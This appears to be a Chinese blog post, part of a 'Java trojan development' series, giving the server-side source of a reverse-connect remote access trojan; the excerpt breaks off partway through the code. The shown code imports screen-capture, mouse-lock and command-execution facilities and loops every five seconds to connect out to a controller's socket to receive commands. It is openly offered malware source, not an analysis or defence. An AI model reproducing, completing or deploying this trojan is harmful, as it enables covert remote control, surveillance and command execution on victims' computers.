java 木马开发(9)---服务端 完结 完整代码

本文详细介绍了Java木马服务端的开发,重点在于服务端如何主动连接客户端。在Windows和Linux环境下,木马实现有所不同,主要涉及到路径调整和使用cmd执行命令的响应。
摘要由CSDN通过智能技术生成
/*
 *  目标电脑操作系统是LINUX时 调用此模块   

 *  反弹木马 由服务端主动连接客户端

windows环境下的木马服务端与linux类似,需要改动的地方主要是路径及调用cmd来执行命令响应

 */
 
 
import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Enumeration;
 
import javax.imageio.ImageIO;
 
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
 
public class ServerLin {
    // 开启Socket 连接的哨兵
    boolean link = false;
    //Robot类的哨兵 Robot类实现抓屏
    boolean end=false;
    Socket socket;
    String osName;
    DataInputStream dis;
    DataOutputStream dos;
    String commendString;
    Process process;
    Runtime r = Runtime.getRuntime();
    BufferedReader bufferedReader;
    BufferedImage bi;
    Robot robot;
 
    MouseLockThread mouseLockThread;
    int time[] = { 5000, 120000, 300000 }, timeSel = 0;
 
    public ServerLin(String str) {
        //传入操作系统名字
        this.osName = str;    
        while (!link) {    
            try {
                
                Thread.sleep(5000);  //每隔5秒  
                
                
                //指定socketServer IP地址和socketServer 监听端口
                //如果与控制端的连接没有建立 会抛出Connection refused 例外
                socket = new Socket("127.0.0.1", 1220);
                //sock哨兵 不在重复创建连接   
                link = true;
 
                System.out.println("***Client is already on the line***");
            } catch (ConnectException e1) {
                
                // 连接被拒绝后跳到此处   
                System.out.println("Listen every 5 seconds.");
                //重新建立连接 直到建立连接为止   
                continue;
                // e1.printStackTrace();
            } catch (InterruptedException e) {
                // TODO Aut
  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值